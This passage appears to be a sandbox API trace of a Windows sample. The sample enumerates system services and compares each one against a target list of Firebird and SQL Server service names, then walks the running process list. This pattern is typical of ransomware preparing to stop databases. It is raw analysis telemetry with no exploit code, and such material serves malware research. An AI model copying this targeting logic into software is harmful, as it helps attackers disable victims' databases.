lpString2="ClickToRunSvc") returned 1 [0149.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0149.995] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0149.995] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0149.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0149.995] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0149.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0149.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0149.995] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0149.995] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0149.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0149.995] lstrlenW (lpString="CryptSvc") returned 8 [0149.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0149.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0149.995] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0149.995] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0149.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0149.995] lstrlenW (lpString="DcomLaunch") returned 10 [0149.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0149.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0149.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0149.995] lstrlenW (lpString="DeviceAssociationService") returned 24 [0149.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0149.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0149.996] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0149.996] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0149.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0149.996] lstrlenW (lpString="Dhcp") returned 4 [0149.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0149.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0149.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0149.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0149.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0149.996] lstrlenW (lpString="Dnscache") returned 8 [0149.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0149.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0149.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0149.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0149.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0149.996] lstrlenW (lpString="DPS") returned 3 [0149.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0149.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0149.996] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0149.996] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0149.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0149.996] lstrlenW (lpString="DusmSvc") returned 7 [0149.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0149.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0149.996] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0149.996] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0149.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0149.996] lstrlenW (lpString="EventLog") returned 8 [0149.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0149.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0149.997] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0149.997] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0149.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0149.997] lstrlenW (lpString="EventSystem") returned 11 [0149.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0149.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0149.997] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0149.997] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0149.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0149.997] lstrlenW (lpString="FontCache") returned 9 [0149.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0149.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0149.997] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0149.997] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0149.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0149.997] lstrlenW (lpString="gpsvc") returned 5 [0149.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0149.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0149.997] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0149.997] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0149.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0149.997] lstrlenW (lpString="iphlpsvc") returned 8 [0149.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.997] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0149.997] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0149.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0149.997] lstrlenW (lpString="KeyIso") returned 6 [0149.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0149.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0149.998] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0149.998] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0149.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0149.998] lstrlenW (lpString="LanmanServer") returned 12 [0149.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0149.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0149.998] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0149.998] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0149.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0149.998] lstrlenW (lpString="LanmanWorkstation") returned 17 [0149.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.998] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0149.998] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0149.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0149.998] lstrlenW (lpString="lfsvc") returned 5 [0149.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0149.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0149.998] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0149.998] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0149.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0149.998] lstrlenW (lpString="lmhosts") returned 7 [0149.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0149.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0149.998] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0149.998] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0149.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0149.998] lstrlenW (lpString="LSM") returned 3 [0149.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0149.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0149.999] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0149.999] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0149.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0149.999] lstrlenW (lpString="MpsSvc") returned 6 [0149.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0149.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0149.999] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0149.999] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0149.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0149.999] lstrlenW (lpString="NcbService") returned 10 [0149.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0149.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0149.999] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0149.999] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0149.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0149.999] lstrlenW (lpString="netprofm") returned 8 [0149.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0149.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0149.999] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0149.999] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0149.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0149.999] lstrlenW (lpString="NgcSvc") returned 6 [0149.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0149.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0149.999] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0149.999] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0149.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0149.999] lstrlenW (lpString="NlaSvc") returned 6 [0150.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0150.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0150.000] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0150.000] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0150.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0150.000] lstrlenW (lpString="nsi") returned 3 [0150.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0150.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0150.000] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0150.000] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0150.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0150.000] lstrlenW (lpString="PcaSvc") returned 6 [0150.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0150.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0150.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0150.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0150.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0150.000] lstrlenW (lpString="PlugPlay") returned 8 [0150.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0150.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0150.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0150.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0150.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0150.000] lstrlenW (lpString="Power") returned 5 [0150.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0150.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0150.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0150.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0150.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0150.000] lstrlenW (lpString="ProfSvc") returned 7 [0150.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0150.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0150.001] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0150.001] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0150.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0150.001] lstrlenW (lpString="RpcEptMapper") returned 12 [0150.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0150.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0150.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0150.001] lstrlenW (lpString="RpcSs") returned 5 [0150.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0150.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0150.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0150.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0150.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0150.001] lstrlenW (lpString="SamSs") returned 5 [0150.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0150.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0150.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0150.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0150.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0150.001] lstrlenW (lpString="Schedule") returned 8 [0150.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0150.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0150.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0150.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0150.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0150.001] lstrlenW (lpString="SecurityHealthService") returned 21 [0150.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0150.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0150.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0150.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0150.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0150.002] lstrlenW (lpString="SENS") returned 4 [0150.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0150.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0150.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0150.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0150.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0150.002] lstrlenW (lpString="ShellHWDetection") returned 16 [0150.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0150.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0150.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0150.002] lstrlenW (lpString="Spooler") returned 7 [0150.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0150.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0150.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0150.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0150.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0150.002] lstrlenW (lpString="StateRepository") returned 15 [0150.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0150.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0150.002] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0150.002] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0150.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0150.002] lstrlenW (lpString="SysMain") returned 7 [0150.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0150.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0150.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0150.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0150.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0150.003] lstrlenW (lpString="SystemEventsBroker") returned 18 [0150.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0150.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0150.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0150.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0150.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0150.003] lstrlenW (lpString="Themes") returned 6 [0150.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0150.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0150.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0150.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0150.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0150.003] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0150.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0150.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0150.003] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0150.003] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0150.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f5958 | out: hHeap=0x660000) returned 1 [0150.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0150.299] Process32FirstW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.299] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0150.300] lstrlenW (lpString="System") returned 6 [0150.300] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0150.301] lstrlenW (lpString="smss.exe") returned 8 [0150.301] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.301] lstrlenW (lpString="csrss.exe") returned 9 [0150.301] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0150.302] lstrlenW (lpString="wininit.exe") returned 11 [0150.302] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.302] lstrlenW (lpString="csrss.exe") returned 9 [0150.302] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0150.303] lstrlenW (lpString="winlogon.exe") returned 12 [0150.304] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0150.304] lstrlenW (lpString="services.exe") returned 12 [0150.304] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0150.305] lstrlenW (lpString="lsass.exe") returned 9 [0150.305] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.305] lstrlenW (lpString="svchost.exe") returned 11 [0150.305] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0150.306] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0150.306] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0150.306] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0150.307] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.307] lstrlenW (lpString="svchost.exe") returned 11 [0150.307] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0150.308] lstrlenW (lpString="dwm.exe") returned 7 [0150.308] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.309] lstrlenW (lpString="svchost.exe") returned 11 [0150.309] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.310] lstrlenW (lpString="svchost.exe") returned 11 [0150.310] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.310] lstrlenW 